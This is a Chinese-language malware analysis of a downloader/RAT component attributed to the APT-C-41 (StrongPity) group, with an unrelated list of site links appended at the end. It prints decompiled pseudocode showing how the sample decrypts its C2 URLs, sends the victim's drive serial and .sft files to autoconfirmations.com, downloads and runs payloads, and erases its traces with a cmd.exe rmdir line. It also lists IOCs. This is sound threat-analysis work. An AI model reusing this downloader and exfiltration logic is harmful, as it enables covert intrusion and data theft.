前言

  APT-C-41(又被称为蓝色魔眼、Promethium、StrongPity),该APT组织最早的攻击活动可以追溯到2012年。该组织主要针对意大利、土耳其、比利时、叙利亚、欧洲等地区和国家进行攻击活动。本次捕获的样本是该组织常用的一个通用组件,主要功能是通过HTTPS协议回传数据(C盘序列号、sft文件)和下载载荷执行。个人将该组件定义为下载器,不过由于该组件也可以根据回传指令执行不同功能,定义为远控RAT也可以。

样本分析

Main函数主要功能如下:
1、创建互斥体("WURmHysJHqPPJlos")保证单实例运行
2、获取C盘序列号,分别解密出两个回连URL(C2:autoconfirmations[.]com
3、创建进程执行%Temp%目录下的可执行程序(winmsism.exesppser.exe),以上两个程序由其它模块组件创建

 1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3 HMODULE v3; // eax
4 HWND (__stdcall *GetConsoleWindow)(); // ebx
5 HMODULE v5; // eax
6 BOOL (__stdcall *ShowWindow)(HWND, int); // esi
7 int v7; // eax
8 WCHAR Name[18]; // [esp+14h] [ebp-74h] BYREF
9 wchar_t Source[14]; // [esp+38h] [ebp-50h] BYREF
10 wchar_t v11[14]; // [esp+54h] [ebp-34h] BYREF
11 CPPEH_RECORD ms_exc; // [esp+70h] [ebp-18h]
12
13 Name[0] = 'W';
14 Name[1] = 'U';
15 Name[2] = 'R';
16 Name[3] = 'm';
17 Name[4] = 'H';
18 Name[5] = 'y';
19 Name[6] = 's';
20 Name[7] = 'J';
21 Name[8] = 'H';
22 Name[9] = 'q';
23 Name[10] = 'P';
24 Name[11] = 'P';
25 Name[12] = 'J';
26 Name[13] = 'l';
27 Name[14] = 'o';
28 Name[15] = 's';
29 Name[16] = 0;
30 v3 = GetModuleHandleA("Kernel32");
31 GetConsoleWindow = (HWND (__stdcall *)())GetProcAddress(v3, "GetConsoleWindow");
32 v5 = GetModuleHandleA("User32");
33 ShowWindow = (BOOL (__stdcall *)(HWND, int))GetProcAddress(v5, "ShowWindow");
34 v7 = ((int (__stdcall *)(_DWORD))GetConsoleWindow)(0);
35 ((void (__stdcall *)(int))ShowWindow)(v7);
36 CreateMutexW(0, 1, Name); // WURmHysJHqPPJlos
37 if ( GetLastError() != 0xB7 )
38 {
39 sub_401550(); // 获取C盘序列号、解密两个C2地址
40 Source[0] = '\\';
41 Source[1] = 'w';
42 Source[2] = 'i';
43 Source[3] = 'n';
44 Source[4] = 'm';
45 Source[5] = 's';
46 Source[6] = 'i';
47 Source[7] = 's';
48 Source[8] = 'm';
49 Source[9] = '.';
50 Source[10] = 'e';
51 Source[11] = 'x';
52 Source[12] = 'e';
53 Source[13] = 0;
54 v11[0] = '\\';
55 v11[1] = 's';
56 v11[2] = 'p';
57 v11[3] = 'p';
58 v11[4] = 's';
59 v11[5] = 'e';
60 v11[6] = 'r';
61 v11[7] = '.';
62 v11[8] = 'e';
63 v11[9] = 'x';
64 v11[10] = 'e';
65 v11[11] = 0;
66 sub_4024C4(Source); // 创建进程:winmsism.exe
67 Sleep(1500u);
68 sub_4024C4(v11); // 创建进程:sppser.exe
69 Sleep(4500u);
70 while ( 1 )
71 {
72 ms_exc.registration.TryLevel = 0;
73 sub_4013CB(); // 循环执行:主功能函数
74 Sleep(15000u);
75 ms_exc.registration.TryLevel = -2;
76 }
77 }
78 return 0;
79 }

获取C盘序列号,异或解密回连URL地址:
https://autoconfirmations[.]com/parse_ini_file.php
https://autoconfirmations[.]com/phpinfo.php

  1 int sub_401550()
2 {
3 unsigned int i; // esi
4 HMODULE v1; // eax
5 BOOL (__stdcall *GetVolumeInformationW)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD); // eax
6 unsigned int v3; // eax
7 int v5; // [esp+4h] [ebp-FCh] BYREF
8 char v6[16]; // [esp+8h] [ebp-F8h] BYREF
9 __int16 v7; // [esp+18h] [ebp-E8h]
10 __int16 v8; // [esp+1Ah] [ebp-E6h]
11 __int16 v9; // [esp+1Ch] [ebp-E4h]
12 __int16 v10; // [esp+1Eh] [ebp-E2h]
13 __int16 v11; // [esp+20h] [ebp-E0h]
14 __int16 v12; // [esp+22h] [ebp-DEh]
15 __int16 v13; // [esp+24h] [ebp-DCh]
16 __int16 v14; // [esp+26h] [ebp-DAh]
17 __int16 v15; // [esp+28h] [ebp-D8h]
18 __int16 v16; // [esp+2Ah] [ebp-D6h]
19 __int16 v17; // [esp+2Ch] [ebp-D4h]
20 __int16 v18; // [esp+2Eh] [ebp-D2h]
21 __int16 v19; // [esp+30h] [ebp-D0h]
22 __int16 v20; // [esp+32h] [ebp-CEh]
23 __int16 v21; // [esp+34h] [ebp-CCh]
24 __int16 v22; // [esp+36h] [ebp-CAh]
25 __int16 v23; // [esp+38h] [ebp-C8h]
26 __int16 v24; // [esp+3Ah] [ebp-C6h]
27 __int16 v25; // [esp+3Ch] [ebp-C4h]
28 __int16 v26; // [esp+3Eh] [ebp-C2h]
29 __int16 v27; // [esp+40h] [ebp-C0h]
30 __int16 v28; // [esp+42h] [ebp-BEh]
31 __int16 v29; // [esp+44h] [ebp-BCh]
32 __int16 v30; // [esp+46h] [ebp-BAh]
33 __int16 v31; // [esp+48h] [ebp-B8h]
34 __int16 v32; // [esp+4Ah] [ebp-B6h]
35 __int16 v33; // [esp+4Ch] [ebp-B4h]
36 __int16 v34; // [esp+4Eh] [ebp-B2h]
37 __int16 v35; // [esp+50h] [ebp-B0h]
38 __int16 v36; // [esp+52h] [ebp-AEh]
39 __int16 v37; // [esp+54h] [ebp-ACh]
40 __int16 v38; // [esp+56h] [ebp-AAh]
41 __int16 v39; // [esp+58h] [ebp-A8h]
42 __int16 v40; // [esp+5Ah] [ebp-A6h]
43 __int16 v41; // [esp+5Ch] [ebp-A4h]
44 __int16 v42; // [esp+5Eh] [ebp-A2h]
45 __int16 v43; // [esp+60h] [ebp-A0h]
46 __int16 v44; // [esp+62h] [ebp-9Eh]
47 __int16 v45; // [esp+64h] [ebp-9Ch]
48 __int16 v46; // [esp+66h] [ebp-9Ah]
49 __int16 v47; // [esp+68h] [ebp-98h]
50 _WORD v48[42]; // [esp+6Ch] [ebp-94h] BYREF
51 char ArgList[2]; // [esp+C0h] [ebp-40h] BYREF
52 __int16 v50; // [esp+C2h] [ebp-3Eh]
53 __int16 v51; // [esp+C4h] [ebp-3Ch]
54 __int16 v52; // [esp+C6h] [ebp-3Ah]
55 __int16 v53; // [esp+C8h] [ebp-38h]
56 __int16 v54; // [esp+CAh] [ebp-36h]
57 __int16 v55; // [esp+CCh] [ebp-34h]
58 __int16 v56; // [esp+CEh] [ebp-32h]
59 __int16 v57; // [esp+D0h] [ebp-30h]
60 __int16 v58; // [esp+D2h] [ebp-2Eh]
61 __int16 v59; // [esp+D4h] [ebp-2Ch]
62 wchar_t Source[12]; // [esp+D8h] [ebp-28h] BYREF
63 __int16 v61[6]; // [esp+F0h] [ebp-10h] BYREF
64
65 i = 0;
66 v5 = 0;
67 if ( !GetTempPathW(0x104u, g_Source) )
68 {
69 _loaddll(0);
70 __debugbreak();
71 }
72 Source[1] = 'e'; // keymgrdata
73 Source[2] = 'y';
74 Source[3] = 'm';
75 Source[4] = 'g';
76 Source[5] = 'r';
77 Source[6] = 'd';
78 Source[7] = 'a';
79 Source[9] = 'a';
80 Source[10] = 0;
81 Source[0] = 'k';
82 Source[8] = 't';
83 wcscat_s(g_Source, 0x104u, Source); // %Temp%\keymgrdata
84 v61[0] = 'C';
85 v61[1] = ':';
86 v61[2] = '\\';
87 v61[3] = '\\';
88 v61[4] = 0;
89 v1 = GetModuleHandleA("Kernel32");
90 GetVolumeInformationW = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))GetProcAddress(v1, "GetVolumeInformationW");
91 GetVolumeInformationW((LPCWSTR)v61, 0, 0, (LPDWORD)&v5, 0, 0, 0, 0);// 获取C盘序列号
92 strcpy(ArgList, "v");
93 v51 = '6';
94 v50 = '2';
95 v52 = '_';
96 v53 = 'k';
97 v54 = 't';
98 v55 = '2';
99 v57 = 'p';
100 v59 = 0;
101 v56 = '0';
102 v58 = '0';
103 mySprintf(Buffer, (char *)L"%ls_%u", (char)ArgList);
104 strcpy(v6, "8");
105 strcpy(&v6[6], " ");
106 strcpy(&v6[8], "#");
107 strcpy(&v6[10], "j");
108 *(_WORD *)&v6[12] = 0x7F;
109 *(_WORD *)&v6[14] = 0x7F;
110 v8 = '%';
111 v11 = '3';
112 v13 = '>';
113 v14 = '6';
114 v15 = '9';
115 strcpy(&v6[2], "$");
116 strcpy(&v6[4], "$");
117 v9 = '$';
118 v19 = '$';
119 v20 = '9';
120 v22 = '>';
121 v23 = '#';
122 v7 = '1';
123 v10 = '?';
124 v12 = '?';
125 v16 = '"';
126 v17 = '=';
127 v18 = '1';
128 v21 = '?';
129 v24 = '~';
130 v27 = '=';
131 v28 = '\x7F';
132 v26 = '?';
133 v30 = '1';
134 v32 = '#';
135 v31 = '"';
136 v25 = '3';
137 v34 = '\x0F';
138 v38 = '\x0F';
139 v39 = '6';
140 v36 = '>';
141 v41 = '<';
142 v45 = '8';
143 v3 = 0;
144 v35 = '9';
145 v37 = '9';
146 v40 = '9';
147 v29 = ' ';
148 v33 = '5';
149 v42 = '5';
150 v43 = '~';
151 v44 = ' ';
152 v46 = ' ';
153 v47 = 0;
154 do
155 {
156 *(__m128i *)&v6[2 * v3] = _mm_xor_si128((__m128i)xmmword_415570, *(__m128i *)&v6[2 * v3]);// 解密C2:https://autoconfirmations.com/parse_ini_file.php
157 v3 += 8;
158 }
159 while ( v3 < 0x30 );
160 mySprintf(g_C2, (char *)L"%ls", (char)v6);
161 strcpy((char *)v48, "5");
162 v48[5] = 103;
163 v48[6] = 114;
164 v48[7] = 114;
165 v48[8] = 60;
166 v48[9] = 40;
167 strcpy((char *)&v48[1], ")");
168 v48[2] = 41;
169 v48[10] = 41;
170 v48[3] = 45;
171 v48[11] = 50;
172 v48[13] = 50;
173 v48[12] = 62;
174 v48[17] = 47;
175 v48[18] = 48;
176 v48[19] = 60;
177 v48[20] = 41;
178 v48[22] = 50;
179 v48[4] = 46;
180 v48[24] = 46;
181 v48[26] = 62;
182 v48[14] = 51;
183 v48[23] = 51;
184 v48[15] = 59;
185 v48[16] = 52;
186 v48[21] = 52;
187 v48[25] = 115;
188 v48[27] = 50;
189 v48[28] = 48;
190 v48[29] = 114;
191 v48[33] = 52;
192 v48[31] = 53;
193 v48[37] = 115;
194 v48[39] = 53;
195 v48[41] = 0;
196 v48[35] = 59;
197 v48[30] = 45;
198 v48[32] = 45;
199 v48[38] = 45;
200 v48[40] = 45;
201 v48[34] = 51;
202 v48[36] = 50;
203 do
204 v48[i++] ^= 0x5Du; // 解密:https://autoconfirmations.com/phpinfo.php
205 while ( i < 0x29 );
206 return mySprintf(g_C2_, (char *)L"%ls", (char)v48);
207 }

创建进程执行%Temp%目录下的可执行文件:
%Temp%\keymgrdata\winmsism.exe
%Temp%\keymgrdata\sppser.exe

 1 wchar_t *__cdecl sub_4024C4(wchar_t *Source)
2 {
3 int v1; // edi
4 wchar_t *result; // eax
5 wchar_t Destination[260]; // [esp+Ch] [ebp-20Ch] BYREF
6
7 v1 = 520;
8 memset(Destination, 0, sizeof(Destination));
9 wcscat_s(Destination, 0x104u, g_Source); // %Temp%\keymgrdata
10 wcscat_s(Destination, 0x104u, Source); // %Temp%\keymgrdata\winmsism.exe
11 // %Temp%\keymgrdata\sppser.exe
12 myCreateProcess(Destination); // 创建进程执行
13 result = Destination;
14 do
15 {
16 *(_BYTE *)result = 0;
17 result = (wchar_t *)((char *)result + 1);
18 --v1;
19 }
20 while ( v1 );
21 return result;
22 }

主函数功能如下:
1、回连C2服务器,根据返回结果执行不同指令(指令1:0x21222324指令2:0xDEEFDAAD
2、遍历回传.sft文件(.sft文件同样由其它模块组件创建)

 1 int sub_4013CB()
2 {
3 int v0; // edi
4 char *newBuff1; // esi
5 int v2; // ecx
6 char *newBuff1_; // eax
7 int v4; // ebx
8 LPVOID v5; // edx
9 _BYTE *v6; // eax
10 int i; // ecx
11 HANDLE v8; // eax
12 int v9; // ecx
13 char *v10; // eax
14 int v11; // ecx
15 int *v12; // eax
16 char *v13; // eax
17 void *dwMilliseconds; // [esp+0h] [ebp-60h]
18 LPVOID lpMem; // [esp+10h] [ebp-50h] BYREF
19 int v17; // [esp+14h] [ebp-4Ch]
20 int v18[2]; // [esp+18h] [ebp-48h] BYREF
21 int v19; // [esp+20h] [ebp-40h]
22 char *v20; // [esp+24h] [ebp-3Ch]
23 unsigned int v21; // [esp+28h] [ebp-38h]
24 char v22[20]; // [esp+3Ch] [ebp-24h] BYREF
25 char v23[12]; // [esp+50h] [ebp-10h] BYREF
26
27 v0 = 260;
28 lpMem = 0;
29 v17 = 0;
30 newBuff1 = (char *)myNew(260);
31 sub_40152F(v18);
32 strcpy(v23, "name=%ls");
33 v2 = 260;
34 newBuff1_ = newBuff1;
35 do
36 {
37 *newBuff1_++ = 0;
38 --v2;
39 }
40 while ( v2 );
41 sub_4024A8(newBuff1, v23, Buffer); // 格式化字符串,并将格式化后的数据转换成ASCII码十六进制形式
42 v18[0] = (int)g_C2; // https://autoconfirmations.com/parse_ini_file.php
43 v20 = newBuff1;
44 v19 |= 0x30u;
45 v21 = strlen(newBuff1);
46 v4 = sub_401000(v18, &lpMem); // 回连C2服务器
47 if ( lpMem )
48 {
49 sub_401DCF(&lpMem); // 根据C2返回结果,执行不同指令
50 v5 = lpMem;
51 v6 = lpMem;
52 for ( i = v17; i; --i )
53 *v6++ = 0;
54 dwMilliseconds = v5;
55 v8 = GetProcessHeap();
56 HeapFree(v8, 0, dwMilliseconds);
57 }
58 if ( v4 )
59 {
60 v9 = 260;
61 v10 = newBuff1;
62 do
63 {
64 *v10++ = 0;
65 --v9;
66 }
67 while ( v9 );
68 strcpy(v22, "name=%ls&delete=ok");
69 sub_4024A8(newBuff1, v22, Buffer);
70 v20 = newBuff1;
71 v21 = strlen(newBuff1);
72 sub_401000(v18, 0); // 回连C2服务器
73 }
74 v11 = 36;
75 v12 = v18;
76 do
77 {
78 *(_BYTE *)v12 = 0;
79 v12 = (int *)((char *)v12 + 1);
80 --v11;
81 }
82 while ( v11 );
83 v13 = newBuff1;
84 do
85 {
86 *v13++ = 0;
87 --v0;
88 }
89 while ( v0 );
90 j_j_j___free_base(newBuff1);
91 Sleep(10000u);
92 return sub_401AAF(); // 遍历回传.sft文件
93 }

回连C2服务器:https://autoconfirmations[.]com/parse_ini_file.php
发送当前软件版本与C盘序列号:"name=v26_kt20p0_3000XXXXXX"
软件版本:"v26_kt20p0"
C盘序列号:"3000XXXXXX"

 1 void *__cdecl sub_4022A3(HINTERNET hConnect, LPCWSTR pwszObjectName, int a3, int a4)
2 {
3 const WCHAR *v4; // eax
4 void *v5; // esi
5 const WCHAR *v6; // ebx
6 DWORD v8; // [esp-8h] [ebp-20h]
7 int v9; // [esp+Ch] [ebp-Ch] BYREF
8 int Buffer; // [esp+10h] [ebp-8h] BYREF
9
10 Buffer = a4 & 0x40;
11 v9 = a4;
12 v4 = L"POST";
13 if ( (a4 & 0x20) == 0 )
14 v4 = L"GET";
15 v5 = WinHttpOpenRequest(hConnect, v4, pwszObjectName, 0, 0, 0, Buffer != 0 ? 0x800000 : 0);// 返回HTTP请求句柄(post:parse_ini_file.php)
16 if ( v5 )
17 {
18 v6 = 0;
19 if ( !*(_DWORD *)(a3 + 20) )
20 {
21 v6 = L"Content-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\nConnection: close\r\n";
22 if ( (v9 & 0x30) != 0 )
23 v6 = L"Content-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n";
24 WinHttpAddRequestHeaders(v5, v6, 0xFFFFFFFF, 0x20000000u);
25 }
26 if ( *(_DWORD *)(a3 + 24) )
27 WinHttpAddRequestHeaders(v5, *(LPCWSTR *)(a3 + 24), 0xFFFFFFFF, 0xA0000000);
28 if ( *(_DWORD *)(a3 + 28) )
29 WinHttpAddRequestHeaders(v5, *(LPCWSTR *)(a3 + 28), 0xFFFFFFFF, 0xA0000000);
30 if ( Buffer )
31 {
32 Buffer = 0x3300;
33 WinHttpSetOption(v5, 0x1Fu, &Buffer, 4u);
34 }
35 if ( WinHttpSendRequest(v5, v6, 0xFFFFFFFF, 0, 0, *(_DWORD *)(a3 + 16), 0) )// 发送HTTP请求
36 {
37 Buffer = 4;
38 v8 = *(_DWORD *)(a3 + 16);
39 v9 = 0;
40 if ( WinHttpWriteData(v5, *(LPCVOID *)(a3 + 12), v8, 0) )// 发送HTTP数据:
41 // 第一次:"name=v26_kt20p0_3000XXXXXX"
42 // 第二次:"name=v26_kt20p0_3000XXXXXX&delete=ok"
43 {
44 if ( WinHttpReceiveResponse(v5, 0)
45 && WinHttpQueryHeaders(v5, 0x20000013u, 0, &v9, (LPDWORD)&Buffer, 0)
46 && v9 == 200 )
47 {
48 return v5; // 如果数据发送成功,返回HTTP句柄
49 }
50 }
51 }
52 WinHttpCloseHandle(v5);
53 }
54 return 0;
55 }

如果C2返回数据:则数据的前4字节为指令ID,程序会根据不同的指令执行不同操作:
指令1:解密返回数据,保存到本地(%Temp\keymgrdata%)然后创建进程执行
指令2:清理作案环境,删除(%Temp\keymgrdata%)目录及其文件,然后结束进程
(cmd.exe /C ping 2.7.6.5 -n 3 -w 4444 & rmdir /Q /S "C:\Users\admin\AppData\Local\Temp\keymgrdata")

  1 char *__cdecl sub_401DCF(int **a1)
2 {
3 int *v1; // edi
4 int v2; // eax
5 _WORD *v3; // edi
6 __int16 v4; // ax
7 _WORD *v5; // edi
8 __int16 v6; // ax
9 wchar_t *v7; // edx
10 unsigned int v9; // edx
11 _WORD *v10; // edi
12 __int16 v11; // ax
13 char *v12; // edi
14 __int16 v13; // ax
15 int v14; // esi
16 int v15; // ecx
17 WCHAR *v16; // eax
18 char *result; // eax
19 _BYTE *v18; // ecx
20 unsigned int v19; // esi
21 unsigned int i; // eax
22 unsigned int j; // edx
23 unsigned int k; // edx
24 unsigned int v23; // eax
25 WCHAR *v24; // eax
26 int v25; // ecx
27 int v26; // ecx
28 char *v27; // eax
29 int v28; // eax
30 _DWORD *v29; // ecx
31 HANDLE v30; // ecx
32 HANDLE hObject; // [esp+10h] [ebp-88Ch]
33 unsigned int v32; // [esp+18h] [ebp-884h]
34 _DWORD *v33; // [esp+1Ch] [ebp-880h]
35 struct _PROCESS_INFORMATION ProcessInformation; // [esp+20h] [ebp-87Ch] BYREF
36 struct _STARTUPINFOW StartupInfo; // [esp+30h] [ebp-86Ch] BYREF
37 DWORD NumberOfBytesWritten; // [esp+74h] [ebp-828h] BYREF
38 WCHAR CommandLine[512]; // [esp+78h] [ebp-824h] BYREF
39 char Buffer[520]; // [esp+478h] [ebp-424h] BYREF
40 WCHAR FileName[268]; // [esp+680h] [ebp-21Ch] BYREF
41 int v40; // [esp+898h] [ebp-4h]
42
43 v40 = 0;
44 v1 = *a1;
45 v2 = **a1;
46 if ( v2 == 0x21222324 ) // 指令1:解密服务器返回数据并执行
47 {
48 v18 = v1 + 4;
49 v33 = v1 + 4;
50 v19 = (unsigned int)v1[3] >> 2;
51 for ( i = v1[3] & 3; v19; --v19 )
52 {
53 for ( j = 0; j < 4; ++j )
54 *v18++ ^= *((_BYTE *)v1 + j + 4);
55 }
56 for ( k = 0; k < i; ++k )
57 *v18++ ^= *((_BYTE *)v1 + k + 4);
58 v23 = 0;
59 v14 = 520;
60 while ( 1 )
61 {
62 v32 = v23;
63 if ( v23 >= v1[2] ) // v1[2] == [buff+8]
64 goto LABEL_15;
65 NumberOfBytesWritten = 0;
66 v24 = FileName;
67 v25 = 520;
68 do
69 {
70 *(_BYTE *)v24 = 0;
71 v24 = (WCHAR *)((char *)v24 + 1);
72 --v25;
73 }
74 while ( v25 );
75 v26 = 520;
76 v27 = Buffer;
77 do
78 {
79 *v27++ = 0;
80 --v26;
81 }
82 while ( v26 );
83 mySprintf(Buffer, (char *)L"%ls", g_Source);
84 mySprintf((char *)FileName, (char *)L"%ls\\%hs", Buffer, v33);
85 v28 = sub_4023F1(0, (char *)v33 + 41, *(_DWORD *)((char *)v33 + 37));
86 v29 = v33;
87 if ( v28 == *(_DWORD *)((char *)v33 + 33) )
88 {
89 v30 = CreateFileW(FileName, 0xC0000000, 1u, 0, 2u, 0x80u, 0);
90 hObject = v30;
91 if ( v30 != (HANDLE)-1 )
92 {
93 WriteFile(v30, (char *)v33 + 41, *(_DWORD *)((char *)v33 + 37), &NumberOfBytesWritten, 0);
94 CloseHandle(hObject);
95 v29 = v33;
96 if ( !*((_BYTE *)v33 + 32) )
97 goto LABEL_37;
98 myCreateProcess(FileName);
99 }
100 v29 = v33;
101 }
102 LABEL_37:
103 v33 = (_DWORD *)((char *)v29 + *(_DWORD *)((char *)v29 + 37) + 41);
104 v23 = v32 + 1;
105 }
106 }
107 if ( v2 == 0xDEEFDAAD ) // 指令2:清理作案环境
108 {
109 memset(CommandLine, 0, sizeof(CommandLine));
110 memset(&StartupInfo, 0, sizeof(StartupInfo));
111 v3 = (_WORD *)&NumberOfBytesWritten + 1;
112 ProcessInformation = 0i64;
113 do
114 {
115 v4 = v3[1];
116 ++v3;
117 }
118 while ( v4 );
119 qmemcpy(v3, L"cmd.exe /C ping 2.7.6.5 -n 3 ", 0x3Cu);
120 v5 = (_WORD *)&NumberOfBytesWritten + 1;
121 do
122 {
123 v6 = v5[1];
124 ++v5;
125 }
126 while ( v6 );
127 v7 = g_Source;
128 qmemcpy(v5, L"-w 4444 & rmdir /Q /S \"", 0x30u);
129 while ( *v7++ )
130 ;
131 v9 = (char *)v7 - (char *)g_Source;
132 v10 = (_WORD *)&NumberOfBytesWritten + 1;
133 do
134 {
135 v11 = v10[1];
136 ++v10;
137 }
138 while ( v11 );
139 qmemcpy(v10, g_Source, v9);
140 v12 = (char *)&NumberOfBytesWritten + 2;
141 do
142 {
143 v13 = *((_WORD *)v12 + 1);
144 v12 += 2;
145 }
146 while ( v13 );
147 *(_DWORD *)v12 = 34;
148 CreateProcessW(0, CommandLine, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
149 CloseHandle(ProcessInformation.hThread);
150 CloseHandle(ProcessInformation.hProcess);
151 _loaddll(0); // 结束进程
152 }
153 v14 = 520;
154 LABEL_15:
155 v15 = 520;
156 v16 = FileName;
157 do
158 {
159 *(_BYTE *)v16 = 0;
160 v16 = (WCHAR *)((char *)v16 + 1);
161 --v15;
162 }
163 while ( v15 );
164 result = Buffer;
165 do
166 {
167 *result++ = 0;
168 --v14;
169 }
170 while ( v14 );
171 return result;
172 }

如果C2没有返回数据:则发送如下数据到服务器:"name=v26_kt20p0_3000XXXXXX&delete=ok"

回连C2服务器:https://autoconfirmations[.]com/parse_ini_file.php
发送(%Temp\keymgrdata%)目录下的所有 .sft 隐藏文件:

发送数据如下所示:

发送成功后删除 .sft 文件:

IOCS

08ecc9b5acdfc237d067a73a1cd7c88a

192.36.27.20
autoconfirmations.com
https://autoconfirmations[.]com/phpinfo.php
https://autoconfirmations[.]com/parse_ini_file.php

【APT】APT-C-41下载器组件样本分析的更多相关文章

  1. 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件

    使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...

  2. CTB-LOCKER敲诈者病毒下载器脱壳之样本1

    一.病毒简介 CTB-LOCKER敲诈者病毒最初是在国外被发现的,该病毒是有两部分组成分别是下载器部分和文档加密部分.病毒作者将下载器程序部分伪装成邮件附件发送给一些大公司的员工或者高管,当这些人下载 ...

  3. 一个urllib2构建的html下载器的代理组件的实现方案

    调用栈/函数链如下: 情形一:下载器初始化时 __init__ buildOpener#构建opener newProxy4Opener#装备代理 getNewProxy#获取代理 maintainP ...

  4. Whl自助搜索下载器

    本文转载自以下链接:https://github.com/Light-City/AutoDownloadWhl 源码地址: https://github.com/Light-City/AutoDown ...

  5. Android开发多线程断点续传下载器

    使用多线程断点续传下载器在下载的时候多个线程并发可以占用服务器端更多资源,从而加快下载速度,在下载过程中记录每个线程已拷贝数据的数量,如果下载中断,比如无信号断线.电量不足等情况下,这就需要使用到断点 ...

  6. 在firefox的flashgot中配置各种下载器

    一.在firefox中安装flashgot下载管理器 flashgot是firefox的一个扩展,在联网的情况下,可以在firefox中的附加组件中搜索flashgot,然后安装. 二.在flashg ...

  7. DjangoRestFramework 学习之restful规范 APIview 解析器组件 Postman等

    DjangoRestFramework学习一之restful规范.APIview.解析器组件.Postman等 本节目录 一 预备知识 二 restful规范 三 DRF的APIView和解析器组件 ...

  8. Scrapy学习篇(十)之下载器中间件(Downloader Middleware)

    下载器中间件是介于Scrapy的request/response处理的钩子框架,是用于全局修改Scrapy request和response的一个轻量.底层的系统. 激活Downloader Midd ...

  9. day89 DjangoRsetFramework学习---restful规范,解析器组件,Postman等

     DjangoRsetFramework学习---restful规范,解析器组件,Postman等           本节目录 一 预备知识 二 restful规范 三 DRF的APIView和解析 ...

  10. 用tkinter写出you-get下载器界面,并用pyinstaller打包成exe文件

    本文为原创文章,转载请标明出处 一.you-get介绍 you-get是一个基于 python 3 的下载工具,使用 you-get 可以很轻松的下载到网络上的视频.图片及音乐.目前支持网易云音乐.A ...

随机推荐

  1. 基于Nginx上的docker负载均衡

    1.首先需要拖拽镜像文件   docker  pull nginx 2.生成多个docker容器 docker run --name demo1 -d -p 8081:80 -v /data/demo ...

  2. hadoop集群搭建之测试集群,配置历史服务器,日志聚集,时间同步

    hadoop集群搭建之测试集群,配置历史服务器,日志聚集,时间同步前期概要:我们完全分布式集群已经搭建完毕,并且还写了群启/群关的脚本, 接下来有必要来测试一遍集群,我们可以使用官方的案例,用它们在集 ...

  3. pip install -r 是什么意思

    我们经常使用python安装第三方库的的命令是 pip install xxx; 但是有一天,突然要执行的命令是: pip install -r requirements.txt,突然就不知道是什么意 ...

  4. Babel与webpack

    一.基础认知1 babel是js编译器,将新版本js代码转换成大多数浏览器支持的es5,es3代码 浏览器其实也不认识require函数,bable配合webpack解决模块的问题: 主要编译的是语法 ...

  5. 关于在ItelliJ IDEA社区版找不到Spring Initializr

    搜了好几个版本都没找到,太难顶了... 打开「ItelliJ IDEA社区版」→「Configure」→「Plugins」→搜索框搜索「Spring Assistant」→「Install」 还要配置 ...

  6. 用telnet远程连接linux系统

    环境,centos7.6 通过telnet进行远程登录的方法如下: 1.安装telnet,telnet-server,xinetd 检测是否安装telnet rpm -qa | grep telnet ...

  7. gitee上传VS2022已有项目

    1.在gitee上新建仓库: 2.复制新建仓库地址: 3.用VS2022打开先有项目,找到Git更改项: 4.点击创建Git存储库: 5.创建本地仓库并推送到远程,点击创建并推送: 6.等待创建成功即 ...

  8. uniapp 扫描

    借鉴链接:https://blog.csdn.net/qq_33165549/article/details/89879435 1.扫描页面 <template> <view> ...

  9. charles小程序抓包

    参考链接:https://www.jianshu.com/p/048b67c5ed00 1. 手机上的程序目前按app的抓包方式,配置代 理,下载证书,打开设备---微信---本地网络,就可以直接抓包 ...

  10. oceanbase 社区版安装

    # 一.环境准备|节点类别|主机名|IP||-|-|-||OBSERVER|observer1|192.168.3.41||OBSERVER|observer2|192.168.3.42||OBSER ...